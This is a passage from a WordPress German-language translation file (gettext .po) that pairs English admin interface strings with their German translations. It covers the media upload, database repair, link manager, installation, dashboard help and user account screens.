wp-admin/menu-header.php:278 wp-admin/js/common.js:1962 msgid "Collapse Main menu" msgstr "Hauptmenü einklappen" #: wp-admin/media.php:136 wp-admin/media.php:156 msgid "Update Media" msgstr "Dateien aktualisieren" #. translators: Add new file. #: wp-admin/media.php:129 wp-admin/menu.php:69 wp-admin/upload.php:90 #: wp-admin/upload.php:273 msgctxt "file" msgid "Add New" msgstr "Datei hinzufügen" #: wp-admin/media.php:73 msgid "You can’t edit this attachment because it is in the Trash. Please move it out of the Trash and try again." msgstr "Du kannst diesen Anhang nicht bearbeiten, da er im Papierkorb liegt. Bitte hole ihn zuerst aus dem Papierkorb und versuche es erneut." #: wp-admin/media.php:70 msgid "You attempted to edit an item that isn’t an attachment. Please go back and try again." msgstr "Du hast versucht, ein Element zu bearbeiten, das kein Anhang ist. Bitte kehre zurück und versuche es erneut." #: wp-admin/media.php:67 msgid "You attempted to edit an attachment that doesn’t exist. Perhaps it was deleted?" msgstr "Du versuchst einen Anhang zu bearbeiten, der nicht existiert. Möglicherweise wurde er gelöscht?" #: wp-admin/media.php:23 wp-admin/media.php:61 msgid "Sorry, you are not allowed to edit this attachment." msgstr "Du bist leider nicht berechtigt, diesen Anhang zu bearbeiten." #: wp-admin/media-new.php:60 msgid "<a href=\"https://wordpress.org/support/article/media-add-new-screen/\">Documentation on Uploading Media Files</a>" msgstr "<a href=\"https://wordpress.org/support/article/media-add-new-screen/\">Dokumentation zum Hochladen von Mediendateien (engl.)</a>" #: wp-admin/media-new.php:54 msgid "Revert to the <strong>Browser Uploader</strong> by clicking the link below the drag and drop box." msgstr "Kehre zum <strong>Browser-Uploader</strong> zurück, indem du den Link unter der Drag-and-drop-Box klickst." #: wp-admin/media-new.php:53 msgid "Clicking <strong>Select Files</strong> opens a navigation window showing you files in your operating system. Selecting <strong>Open</strong> after clicking on the file you want activates a progress bar on the uploader screen." msgstr "Klicke auf <strong>Dateien auswählen</strong>, um Dateien von deinem Computer auszuwählen, die du hochladen möchtest, indem du nach dem Auswählen im Dateidialog auf <strong>Öffnen</strong> klickst. Anschließend werden die Dateien hochgeladen (<em>Verarbeiten …</em>), verarbeitet und Vorschaubilder erstellt." #: wp-admin/media-new.php:52 msgid "<strong>Drag and drop</strong> your files into the area below. Multiple files are allowed." msgstr "<strong>Markiere eine Datei und ziehe sie</strong> bei gedrückter Maustaste in den Bereich unterhalb. Du kannst auch mehrere Dateien auswählen und bewegen." #: wp-admin/media-new.php:50 msgid "You can upload media files here without creating a post first. This allows you to upload files to use with posts and pages later and/or to get a web link for a particular file that you can share. There are three options for uploading files:" msgstr "Du kannst hier Dateien hochladen, ohne vorher einen Beitrag zu erstellen. Dies ermöglicht dir, Dateien hochzuladen, um sie später in Beiträgen oder Seiten zu verwenden bzw. um einen Link für eine bestimmte Datei zu erhalten, den du dann teilen kannst. Zum Hochladen von Dateien stehen dir drei Möglichkeiten zur Verfügung:" #: wp-admin/media-new.php:42 msgid "Upload New Media" msgstr "Neue Medien hochladen" #: wp-admin/maint/repair.php:169 msgid "Repair and Optimize Database" msgstr "Datenbank reparieren und optimieren" #: wp-admin/maint/repair.php:168 msgid "WordPress can also attempt to optimize the database. This improves performance in some situations. Repairing and optimizing the database can take a long time and the database will be locked while optimizing." msgstr "WordPress kann versuchen, die Datenbank zu optimieren. In einigen Situationen kann das die Website beschleunigen. Das Reparieren und Optimieren der Datenbank kann längere Zeit dauern. In dieser Zeit ist die Datenbank nicht erreichbar." #: wp-admin/maint/repair.php:167 msgid "Repair Database" msgstr "Datenbank reparieren" #: wp-admin/maint/repair.php:164 msgid "WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient." msgstr "WordPress kann automatisch nach häufigen Datenbank-Problemen suchen und sie reparieren. Das Reparieren kann eine Weile dauern, sei bitte geduldig." #: wp-admin/maint/repair.php:162 msgid "One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the “Repair Database” button. Repairing can take a while, so please be patient." msgstr "Mindestens eine Datenbanktabelle ist nicht erreichbar. WordPress kann versuchen, diese Tabellen zu reparieren. Klicke dazu auf den Button „Datenbank reparieren“. Die Reparatur kann etwas Zeit in Anspruch nehmen, habe also bitte etwas Geduld." #: wp-admin/maint/repair.php:159 msgid "WordPress database repair" msgstr "Reparatur der WordPress-Datenbank" #: wp-admin/maint/repair.php:155 msgid "Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users." msgstr "Reparaturen abgeschlossen. Bitte entferne die folgende Zeile aus wp-config.php, um diese Seite vor unauthorisierten Zugang zu schützen." #: wp-admin/maint/repair.php:147 msgid "https://wordpress.org/support/forum/how-to-and-troubleshooting" msgstr "https://de.wordpress.org/support/forum/wordpress-deutschland/" #. translators: %s: URL to "Fixing WordPress" forum. #: wp-admin/maint/repair.php:146 msgid "Some database problems could not be repaired. Please copy-and-paste the following list of errors to the <a href=\"%s\">WordPress support forums</a> to get additional assistance." msgstr "Einige Datenbank-Probleme konnten nicht behoben werden. Du kannst anhand der folgenden Fehlerauflistung in den <a href=\"%s\">WordPress support forums</a> (WordPress-Hilfeforen) oder in den <a href=\"https://de.wordpress.org/support/\">Support-Foren der deutschsprachigen WordPress-Community</a> um Unterstützung bitten." #. translators: 1: Table name. 2: Error message. #: wp-admin/maint/repair.php:136 msgid "Failed to optimize the %1$s table. Error: %2$s" msgstr "Konnte die Tabelle %1$s nicht optimieren. Fehler: %2$s" #. translators: %s: Table name. #: wp-admin/maint/repair.php:133 msgid "Successfully optimized the %s table." msgstr "Die Tabelle %s wurde erfolgreich optimiert." #. translators: %s: Table name. #: wp-admin/maint/repair.php:126 msgid "The %s table is already optimized." msgstr "Die Tabelle %s ist schon optimiert. " #. translators: 1: Table name, 2: Error message. #: wp-admin/maint/repair.php:114 msgid "Failed to repair the %1$s table. Error: %2$s" msgstr "Reparieren der %1$s Tabelle fehlgeschlagen. Fehler: %2$s" #. translators: %s: Table name. #: wp-admin/maint/repair.php:111 msgid "Successfully repaired the %s table." msgstr "Die Tabelle %s wurde erfolgreich repariert. " #. translators: 1: Table name, 2: Error message. #: wp-admin/maint/repair.php:104 msgid "The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table…" msgstr "Die Tabelle %1$s ist nicht in Ordnung. Es liegt folgender Fehlerbericht vor: %2$s. WordPress wird versuchen, diese Tabelle zu reparieren …" #. translators: %s: Table name. #: wp-admin/maint/repair.php:101 msgid "The %s table is okay." msgstr "Die Tabelle %s ist in Ordnung." #: wp-admin/maint/repair.php:71 msgid "Database repair results" msgstr "Ergebnisse der Datenbank-Reparatur" #. translators: 1: wp-config.php, 2: Secret key service URL. #: wp-admin/maint/repair.php:67 msgid "While you are editing your %1$s file, take a moment to make sure you have all 8 keys and that they are unique. You can generate these using the <a href=\"%2$s\">WordPress.org secret key service</a>." msgstr "Während du deine %1$s Datei bearbeitest, nimm dir einen Moment Zeit und stelle sicher, dass du alle acht Schlüssel hast und diese eindeutig sind. Du kannst sie generieren, indem du den <a href=\"%2$s\">WordPress.org Secret Key Service</a> nutzt." #: wp-admin/maint/repair.php:64 msgid "Check secret keys" msgstr "Prüfe geheime Schlüssel" #. translators: %s: wp-config.php #: wp-admin/maint/repair.php:35 msgid "To allow use of this page to automatically repair database problems, please add the following line to your %s file. Once this line is added to your config, reload this page." msgstr "Um dieser Seite zu erlauben, Datenbank-Probleme automatisch zu reparieren, füge bitte deiner %s Datei folgende Zeile hinzu. Und danach lade diese Seite erneut." #: wp-admin/maint/repair.php:30 msgid "Allow automatic database repair" msgstr "Erlaube eine automatische Reparatur der Datenbank" #: wp-admin/maint/repair.php:20 msgid "WordPress › Database Repair" msgstr "WordPress › Datenbank-Reparatur" #: wp-admin/link.php:117 msgid "Link not found." msgstr "Link nicht gefunden." #: wp-admin/link.php:111 msgid "Edit Link" msgstr "Link bearbeiten" #. translators: 1: Error message, 2: Line number. #: wp-admin/link-parse-opml.php:89 msgid "XML Error: %1$s at line %2$s" msgstr "XML-Fehler: %1$s in Zeile %2$s" #: wp-admin/link-manager.php:132 msgid "Search Links" msgstr "Links suchen" #. translators: %s: Number of links. #: wp-admin/link-manager.php:124 msgid "%s link deleted." msgid_plural "%s links deleted." msgstr[0] "%s Link gelöscht." msgstr[1] "%s Links gelöscht." #: wp-admin/link-manager.php:84 msgid "Links list" msgstr "Linkliste" #: wp-admin/link-manager.php:78 msgid "<a href=\"https://codex.wordpress.org/Links_Screen\">Documentation on Managing Links</a>" msgstr "<a href=\"https://codex.wordpress.org/Links_Screen\">Dokumentation zu Links (engl.)</a>" #: wp-admin/link-manager.php:72 msgid "If you delete a link, it will be removed permanently, as Links do not have a Trash function yet." msgstr "Wenn du einen Link löschst, dann wird er endgültig entfernt, da es noch keinen Papierkorb für Links gibt." #: wp-admin/link-manager.php:70 msgid "Deleting Links" msgstr "Links löschen" #: wp-admin/link-manager.php:64 msgid "You can customize the display of this screen using the Screen Options tab and/or the dropdown filters above the links table." msgstr "Du kannst über den Tab „Ansicht anpassen“ die Darstellung anpassen und auch diverse Auswahlfilter anwenden, die direkt über der Tabelle mit den Links angezeigt werden." #: wp-admin/link-manager.php:63 msgid "Links may be separated into Link Categories; these are different than the categories used on your posts." msgstr "Links können in verschiedene Kategorien einsortiert werden. Es sind jedoch nicht die gleichen Kategorien wie für Beiträge und müssen daher separat erstellt werden." #. translators: %s: URL to Widgets screen. #: wp-admin/link-manager.php:60 msgid "You can add links here to be displayed on your site, usually using <a href=\"%s\">Widgets</a>. By default, links to several sites in the WordPress community are included as examples." msgstr "Du kannst Links normalerweise mithilfe von <a href=\"%s\">Widgets</a> hinzufügen, die auf deiner Website angezeigt werden. Standardmäßig sind bereits Links zu Websites der WordPress-Community als Beispiele enthalten." #: wp-admin/link-add.php:16 msgid "Add New Link" msgstr "Link hinzufügen" #: wp-admin/link-add.php:13 msgid "Sorry, you are not allowed to add links to this site." msgstr "Du bist leider nicht berechtigt, Links zu dieser Website hinzuzufügen." #: wp-admin/install.php:419 msgid "WordPress has been installed. Thank you, and enjoy!" msgstr "WordPress wurde installiert. Vielen Dank, und nun viel Spaß!" #: wp-admin/install.php:417 msgid "Success!" msgstr "Installation erfolgreich!" #: wp-admin/install.php:408 msgid "Sorry, that isn’t a valid email address. Email addresses look like <code>username@example.com</code>." msgstr "Entschuldigung, aber das ist keine gültige E-Mail-Adresse. E-Mail-Adressen sehen aus wie <code>benutzername@beispiel.de</code>." #: wp-admin/install.php:404 msgid "You must provide an email address." msgstr "Du musst eine E-Mail-Adresse angeben." #: wp-admin/install.php:400 msgid "Your passwords do not match. Please try again." msgstr "Deine Passwörter stimmen nicht überein. Bitte versuche es nochmal." #: wp-admin/install.php:396 msgid "The username you provided has invalid characters." msgstr "Der von dir gewählte Benutzername enthält ungültige Zeichen." #: wp-admin/install.php:393 msgid "Please provide a valid username." msgstr "Bitte gib einen gültigen Benutzernamen an." #: wp-admin/install.php:361 msgid "Please provide the following information. Don’t worry, you can always change these settings later." msgstr "Bitte trage die folgenden Informationen ein. Keine Sorge, du kannst all diese Einstellungen später auch wieder ändern." #: wp-admin/install.php:360 msgid "Information needed" msgstr "Benötigte Informationen" #: wp-admin/install.php:358 msgid "Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you’ll be on your way to using the most extendable and powerful personal publishing platform in the world." msgstr "" "Willkommen bei der berühmten 5-Minuten-Installation von WordPress! \n" "Gib unten einfach die benötigten Informationen ein und schon kannst du starten mit der am besten erweiterbaren und leistungsstarken persönlichen Veröffentlichungsplattform der Welt." #. translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES #: wp-admin/install.php:309 msgid "The constant %s cannot be defined when installing WordPress." msgstr "Die Konstante %s kann während der Installation von WordPress nicht definiert werden." #. translators: %s: wp-config.php #: wp-admin/install.php:296 msgid "Your %s file has an empty database table prefix, which is not supported." msgstr "Deine Datei %s hat ein leeres Datenbank-Tabellenpräfix, was nicht unterstützt wird." #: wp-admin/install.php:293 wp-admin/install.php:306 msgid "Configuration Error" msgstr "Konfigurationsfehler" #. translators: 1: URL to WordPress release notes, 2: WordPress version number, #. 3: Minimum required MySQL version number, 4: Current MySQL version number. #: wp-admin/install.php:277 msgid "You cannot install because <a href=\"%1$s\">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s." msgstr "Du kannst nicht installieren, weil <a href=\"%1$s\">WordPress %2$s</a> MySQL-Version %3$s oder höher erfordert. Du verwendest die Version %4$s." #. translators: 1: URL to WordPress release notes, 2: WordPress version number, #. 3: Minimum required PHP version number, 4: Current PHP version number. #: wp-admin/install.php:268 msgid "You cannot install because <a href=\"%1$s\">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s." msgstr "Du kannst nicht installieren, weil <a href=\"%1$s\">WordPress %2$s</a> PHP-Version %3$s oder höher erfordert. Du verwendest die Version %4$s." #. translators: 1: URL to WordPress release notes, 2: WordPress version number, #. 3: Minimum required PHP version number, 4: Minimum required MySQL version #. number, 5: Current PHP version number, 6: Current MySQL version number. #: wp-admin/install.php:257 msgid "You cannot install because <a href=\"%1$s\">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s." msgstr "Die Installation kann nicht gestartet werden, da <a href=\"%1$s\">WordPress %2$s</a> mindestens die PHP-Version %3$s und die MySQL-Version %4$s voraussetzt. Du verwendest die PHP-Version %5$s und die MySQL-Version %6$s." #: wp-admin/install.php:207 msgid "Install WordPress" msgstr "WordPress installieren" #: wp-admin/install.php:201 wp-admin/options-reading.php:206 msgid "It is up to search engines to honor this request." msgstr "Es ist Sache der Suchmaschinen, dieser Bitte nachzukommen." #: wp-admin/install.php:193 wp-admin/options-reading.php:186 msgid "Note: Neither of these options blocks access to your site — it is up to search engines to honor your request." msgstr "Hinweis: Keine dieser Einstellungen verhindert den Zugang zu deiner Website – Es obliegt den Suchmaschinen, deiner Bitte nachzukommen." #: wp-admin/install.php:192 wp-admin/install.php:200 #: wp-admin/options-reading.php:185 wp-admin/options-reading.php:205 msgid "Discourage search engines from indexing this site" msgstr "Suchmaschinen davon abhalten, diese Website zu indexieren." #: wp-admin/install.php:190 wp-admin/options-reading.php:183 msgid "Allow search engines to index this site" msgstr "Erlaubt Suchmaschinen, diese Website zu indexieren." #: wp-admin/install.php:182 wp-admin/install.php:185 #: wp-admin/options-reading.php:43 wp-admin/options-reading.php:179 #: wp-admin/options-reading.php:180 msgid "Search engine visibility" msgstr "Sichtbarkeit für Suchmaschinen" #: wp-admin/install.php:182 wp-admin/install.php:185 #: wp-admin/options-reading.php:43 wp-admin/options-reading.php:179 #: wp-admin/options-reading.php:180 msgid "Site visibility" msgstr "Sichtbarkeit der Website" #: wp-admin/install.php:179 msgid "Double-check your email address before continuing." msgstr "Bitte überprüfe nochmal deine E-Mail-Adresse auf Richtigkeit, bevor du weitermachst." #: wp-admin/install.php:177 msgid "Your Email" msgstr "Deine E-Mail-Adresse" #: wp-admin/install.php:167 wp-admin/user-edit.php:663 #: wp-admin/user-new.php:585 msgid "Confirm Password" msgstr "Passwort bestätigen" #: wp-admin/install.php:159 wp-admin/user-edit.php:458 #: wp-admin/user-edit.php:506 wp-admin/user-new.php:507 #: wp-admin/user-new.php:511 wp-admin/user-new.php:558 #: wp-admin/user-new.php:578 msgid "(required)" msgstr "(erforderlich)" #: wp-admin/install.php:158 wp-admin/user-new.php:578 msgid "Repeat Password" msgstr "Passwort wiederholen" #. translators: The non-breaking space prevents 1Password from thinking the #. text "log in" should trigger a password save prompt. #: wp-admin/install.php:153 msgid "You will need this password to log in. Please store it in a secure location." msgstr "Du wirst dieses Passwort zum Anmelden brauchen. Bitte bewahre es an einem sicheren Ort auf." #: wp-admin/install.php:151 wp-admin/user-edit.php:195 msgid "Important:" msgstr "Wichtig:" #: wp-admin/install.php:127 msgid "Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol." msgstr "Benutzernamen dürfen nur alphanumerische Zeichen, Leerzeichen, Unterstriche, Bindestriche, Punkte und das @-Zeichen enthalten." #: wp-admin/install.php:122 msgid "User(s) already exists." msgstr "Benutzer existiert (existieren) bereits" #: wp-admin/install.php:108 wp-admin/install.php:357 msgctxt "Howdy" msgid "Welcome" msgstr "Willkommen" #: wp-admin/install.php:73 msgid "WordPress › Installation" msgstr "WordPress › Installation" #: wp-admin/index.php:164 msgid "Dismiss the welcome panel" msgstr "Den Willkommen-Bereich ausblenden" #. translators: %s: Human-readable time interval. #: wp-admin/index.php:141 msgid "The admin email verification page will reappear after %s." msgstr "Die Seite zur Verifizierung der E-Mail-Adresse des Administrators wird nach %s wieder angezeigt." #: wp-admin/index.php:111 msgid "<a href=\"https://wordpress.org/support/article/dashboard-screen/\">Documentation on Dashboard</a>" msgstr "<a href=\"https://wordpress.org/support/article/dashboard-screen/\">Dokumentation über das Dashboard (engl.)</a>" #. translators: %s: WordPress Planet URL. #: wp-admin/index.php:95 msgid "<strong>WordPress Events and News</strong> — Upcoming events near you as well as the latest news from the official WordPress project and the <a href=\"%s\">WordPress Planet</a>." msgstr "<strong>WordPress-Veranstaltungen und Neuigkeiten</strong> – Beinhaltet kommende Veranstaltungen in deiner Nähe sowie die neuesten Nachrichten aus dem offiziellen WordPress-Projekt und dem <a href=\"%s\">WordPress Planet</a>." #: wp-admin/index.php:90 msgid "<strong>Quick Draft</strong> — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." msgstr "<strong>Schneller Entwurf</strong> – Ermöglicht dir, neue Beiträge zu erstellen und als Entwurf zu speichern. Außerdem werden dir Links zu den letzten 3 Entwürfen angezeigt, die du begonnen hast." #: wp-admin/index.php:87 msgid "<strong>Activity</strong> — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them." msgstr "<strong>Aktivität</strong> – Zeigt anstehende, geplante und vor kurzem veröffentlichte Beiträge sowie die neuesten Kommentare auf deine Beiträge und ermöglicht dir, diese zu moderieren." #: wp-admin/index.php:84 msgid "<strong>At a Glance</strong> — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using." msgstr "<strong>Auf einen Blick</strong> – Zeigt eine Zusammenfassung der Inhalte deiner Website und zeigt, welches Theme und welche WordPress-Version du verwendest." #: wp-admin/index.php:80 msgid "<strong>Site Health Status</strong> — Informs you of any potential issues that should be addressed to improve the performance or security of your website." msgstr "<strong>Zustand der Website</strong> – Informiert dich über alle potenziellen Probleme, die behandelt werden sollten, um die Leistung oder Sicherheit deiner Website zu verbessern." #: wp-admin/index.php:76 msgid "<strong>Welcome</strong> — Shows links for some of the most common tasks when setting up a new site." msgstr "<strong>Willkommen</strong> – Zeigt Links für einige der häufigsten Aufgaben beim Anlegen einer neuen Website." #: wp-admin/index.php:73 msgid "The boxes on your Dashboard screen are:" msgstr "Folgende Boxen gibt es im Dashboard:" #: wp-admin/index.php:63 msgid "<strong>Box Controls</strong> — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it." msgstr "<strong>Boxeinstellungen</strong> – Klicke auf die Titelleiste der Box, um sie aus- oder einzuklappen. Plugins können zusätzliche Boxen registrieren, welche einen konfigurierbaren Inhalt haben. Bei Mauszeigerkontakt der Titelleiste dieser Boxen erscheint ein „Konfigurieren“-Link mit Optionen." #: wp-admin/index.php:62 msgid "<strong>Drag and Drop</strong> — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box." msgstr "<strong>Drag-and-drop</strong> – Um die Boxen neu anzuordnen, klick auf die Titelleiste der ausgewählten Box, halte die Maustaste fest, zieh die Box an die gewünschte Position und lass die Taste los, sobald dort ein grau gepunktetes Rechteck auftaucht." #: wp-admin/index.php:61 msgid "<strong>Screen Options</strong> — Use the Screen Options tab to choose which Dashboard boxes to show." msgstr "<strong>Ansicht anpassen</strong> – Verwende den Tab „Ansicht anpassen“, um auszuwählen, welche Boxen im Dashboard angezeigt werden sollen." #: wp-admin/index.php:60 msgid "You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well." msgstr "Die folgenden Einstellungsmöglichkeiten kannst du dazu benutzen, die Zusammensetzung deines Dashboards den Bedürfnissen deines Workflows anzupassen. Dies gilt für die meisten anderen Administrationsseiten in gleicher Weise." #: wp-admin/index.php:55 msgid "Navigation" msgstr "Navigation" #: wp-admin/index.php:50 msgid "Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information." msgstr "Die Links in der Werkzeugleiste oben auf dem Bildschirm verbinden das Dashboard mit der Frontend-Ansicht deiner Website und bieten Zugriff auf dein Profil und hilfreiche WordPress-Informationen." #: wp-admin/index.php:49 msgid "The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom." msgstr "Das Menü auf der linken Seite bietet Zugang zu allen Einstellungen und Optionen deiner WordPress-Administrationsseiten, deren Untermenü-Einträge bei Mauszeigerkontakt angezeigt werden. Um das Menü zu einer schmalen Symbolleiste zu minimieren, klicke auf den „Menü einklappen“-Pfeil am unteren Ende." #: wp-admin/index.php:35 msgid "Welcome to your WordPress Dashboard! This is the screen you will see when you log in to your site, and gives you access to all the site management features of WordPress. You can get help for any screen by clicking the Help tab above the screen title." msgstr "Willkommen in deinem WordPress-Dashboard! Diese Seite wird immer angezeigt, wenn du dich auf deiner Website anmeldest und gibt dir den Zugang zu allen Einstellungsmöglichkeiten von WordPress. Hilfe bekommst du auf jeder Seite, indem du oberhalb des Seitentitels auf den „Hilfe“-Tab klickst." #: wp-admin/includes/widgets.php:262 msgctxt "widget" msgid "Add" msgstr "Hinzufügen" #: wp-admin/includes/widgets.php:261 msgctxt "widget" msgid "Edit" msgstr "Bearbeiten" #. translators: %s: Widget title. #: wp-admin/includes/widgets.php:255 msgid "Add widget: %s" msgstr "Widget hinzufügen: %s" #. translators: %s: Widget title. #: wp-admin/includes/widgets.php:249 msgid "Edit widget: %s" msgstr "Widget bearbeiten: %s" #. translators: %s: Widgets sidebar name. #: wp-admin/includes/widgets.php:95 msgid "Add to: %s" msgstr "Hinzufügen zu: %s" #: wp-admin/includes/user.php:642 msgid "The app id must be a uuid." msgstr "Die App-ID muss ein UUID sein." #: wp-admin/includes/user.php:634 msgid "The rejection url must be served over a secure connection." msgstr "Die Ablehnungs-URL muss über eine sichere Verbindung bereitgestellt werden." #: wp-admin/includes/user.php:623 msgid "The success url must be served over a secure connection." msgstr "Die Erfolgs-URL muss über eine sichere Verbindung bereitgestellt werden." #. translators: 1: Site title, 2: Site URL, 3: User role. #: wp-admin/includes/user.php:582 msgid "" "Hi,\n" "You've been invited to join '%1$s' at\n" "%2$s with the role of %3$s.\n" "If you do not want to join this site please ignore\n" "this email. This invitation will expire in a few days.\n" "\n" "Please click the following link to activate your user account:\n" "%%s" msgstr "" "Hallo,\n" "du wurdest eingeladen, '%1$s' auf\n" "%2$s in der Rolle als %3$s beizutreten.\n" "Wenn du dieser Website nicht beitreten willst, ignoriere bitte\n" "diese E-Mail. Diese Einladung wird in wenigen Tagen verfallen.\n" "\n" "Bitte klicke auf den folgenden Link, um dein Benutzerkonto zu aktivieren:\n" "%%s" #: wp-admin/includes/user.php:565 msgid "Always use https when visiting the admin" msgstr "Nutze immer https, wenn du den Administratorbereich aufrufst" #: wp-admin/includes/user.php:564 msgid "Use https" msgstr "Https verwenden" #: wp-admin/includes/user.php:528 msgid "No thanks, do not remind me again" msgstr "Nein danke, bitte erinnere mich nicht noch einmal" #: wp-admin/includes/user.php:527 msgid "Yes, take me to my profile page" msgstr "Ja, bringe mich zu meiner Profilseite" #: wp-admin/includes/user.php:525 msgid "You’re using the auto-generated password for your account. Would you like to change it?" msgstr "Du verwendest das automatisch generierte Passwort für dein Benutzerkonto. Möchtest du ein eigenes Passwort vergeben?" #: wp-admin/includes/user.php:524 msgid "Notice:" msgstr "Hinweis:" #: wp-admin/includes/user.php:201 msgid "<strong>Error</strong>: Please enter an email address." msgstr "<strong>Fehler</strong>: Bitte gib eine E-Mail-Adresse ein." #: wp-admin/includes/user.php:177 msgid "<strong>Error</strong>: Passwords don’t match. Please enter the same password in both password fields." msgstr "<strong>Fehler:</strong> Die Passwörter stimmen nicht überein. Bitte gib in beide Passwortfelder dasselbe Passwort ein." #: wp-admin/includes/user.php:172 msgid "<strong>Error</strong>: Passwords may not contain the character \"\\\"." msgstr "<strong>Fehler:</strong> In Passwörtern darf das Zeichen „\\“ nicht vorkommen." #: wp-admin/includes/user.php:167 msgid "<strong>Error</strong>: Please enter a password." msgstr "<strong>Fehler</strong>: Bitte gib ein Passwort ein." #: wp-admin/includes/user.php:151 msgid "<strong>Error</strong>: Please enter a nickname." msgstr "<strong>Fehler</strong>: Bitte gib einen Spitznamen ein." #: wp-admin/includes/upgrade.php:635 msgid "New WordPress Site" msgstr "Neue WordPress-Website" #. translators: New site notification email. 1: New site URL, 2: User login, 3: #. User password or password reset link, 4: Login URL. #: wp-admin/includes/upgrade.php:610 msgid "" "Your new WordPress site has been successfully set up at:\n" "\n" "%1$s\n" "\n" "You can log in to the administrator account with the following information:\n" "\n" "Username: %2$s\n" "Password: %3$s\n" "Log in here: %4$s\n" "\n" "We hope you enjoy your new site. Thanks!\n" "\n" "--The WordPress Team\n" "https://wordpress.org/\n" msgstr "" "Deine neue WordPress-Website wurde erfolgreich eingerichtet. Du findest sie unter:\n" "\n" "%1$s\n" "\n" "Du kannst dich jetzt mit folgenden Zugangsdaten im Administrator-Konto anmelden:\n" "\n" "Benutzername: %2$s\n" "Passwort: %3$s\n" "Melde dich hier an: %4$s\n" "\n" "Wir hoffen, dir gefällt deine neue Website. Vielen Dank!\n" "\n" "-- Das WordPress-Team\n" "https://de.wordpress.org/\n" #. translators: Privacy Policy page slug. #: wp-admin/includes/upgrade.php:382 msgid "privacy-policy" msgstr "datenschutzerklaerung" #: wp-admin/includes/upgrade.php:380 wp-admin/options-privacy.php:72 msgid "Privacy Policy" msgstr "Datenschutzerklärung" #. translators: Default page slug. #: wp-admin/includes/upgrade.php:337 msgid "sample-page" msgstr "beispiel-seite" #: wp-admin/includes/upgrade.php:335 msgid "Sample Page" msgstr "Beispiel-Seite" #. translators: First page content. %s: Site admin URL. #: wp-admin/includes/upgrade.php:319 msgid "As a new WordPress user, you should go to <a href=\"%s\">your dashboard</a> to delete this page and create new pages for your content. Have fun!" msgstr "Als neuer WordPress-Benutzer solltest du <a href=\"%s\">dein Dashboard</a> aufrufen, um diese Seite zu löschen und neue Seiten und Beiträge für deine Website erstellen. Viel Spaß!" #. translators: First page content. #: wp-admin/includes/upgrade.php:313 msgid "The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community." msgstr "Das Unternehmen XYZ wurde 1971 gegründet und versorgt die Öffentlichkeit seither mit qualitativ hochwertigen Produkten. An seinem Standort in einer kleinen Großstadt beschäftigt der Betrieb über 2.000 Menschen und unterstützt die Stadtbewohner in vielfacher Hinsicht." #. translators: First page content. #: wp-admin/includes/upgrade.php:308 msgid "...or something like this:" msgstr "...oder so etwas wie das hier:" #. translators: First page content. #: wp-admin/includes/upgrade.php:303 msgid "Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my website. I live in Los Angeles, have a great dog named Jack, and I like piña coladas. (And gettin' caught in the rain.)" msgstr "Hallo! Tagsüber arbeite ich als Fahrradkurier, nachts bin ich ein aufstrebender Schauspieler und dies hier ist meine Website. Ich lebe in Berlin, habe einen großen Hund namens Jack, mag Piña Coladas, jedoch weniger (ohne Schirm) im Regen stehen gelassen zu werden." #. translators: First page content. #: wp-admin/includes/upgrade.php:298 msgid "This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:" msgstr "Dies ist eine Beispiel-Seite. Sie unterscheidet sich von Beiträgen, da sie stets an derselben Stelle bleibt und (bei den meisten Themes) in der Website-Navigation angezeigt wird. Die meisten starten mit einem Impressum, der Datenschutzerklärung oder einer „Über uns“-Seite, um sich potenziellen Besuchern der Website vorzustellen. Dort könnte zum Beispiel stehen:" #: wp-admin/includes/upgrade.php:271 msgid "" "Hi, this is a comment.\n" "To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.\n" "Commenter avatars come from <a href=\"https://gravatar.com\">Gravatar</a>." msgstr "" "Hallo, dies ist ein Kommentar.\n" "Um mit dem Freischalten, Bearbeiten und Löschen von Kommentaren zu beginnen, besuche bitte die Kommentare-Ansicht im Dashboard.\n" "Die Avatare der Kommentatoren kommen von <a href=\"https://gravatar.com\">Gravatar</a>." #: wp-admin/includes/upgrade.php:268 msgid "A WordPress Commenter" msgstr "Ein WordPress-Kommentator" #. translators: Default post slug. #: wp-admin/includes/upgrade.php:242 wp-admin/includes/upgrade.php:556 msgctxt "Default post slug" msgid "hello-world" msgstr "hallo-welt" #: wp-admin/includes/upgrade.php:240 msgid "Hello world!" msgstr "Hallo Welt!" #. translators: First post content. %s: Site link. #: wp-admin/includes/upgrade.php:228 msgid "Welcome to WordPress. This is your first post. Edit or delete it, then start writing!" msgstr "Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!" #. translators: Default category slug. #: wp-admin/includes/upgrade.php:160 msgctxt "Default category slug" msgid "Uncategorized" msgstr "Allgemein" #: wp-admin/includes/upgrade.php:117 msgid "The password you chose during installation." msgstr "Das Passwort, das du während der Installation gewählt hast." #: wp-admin/includes/upgrade.php:100 msgid "User already exists. Password inherited." msgstr 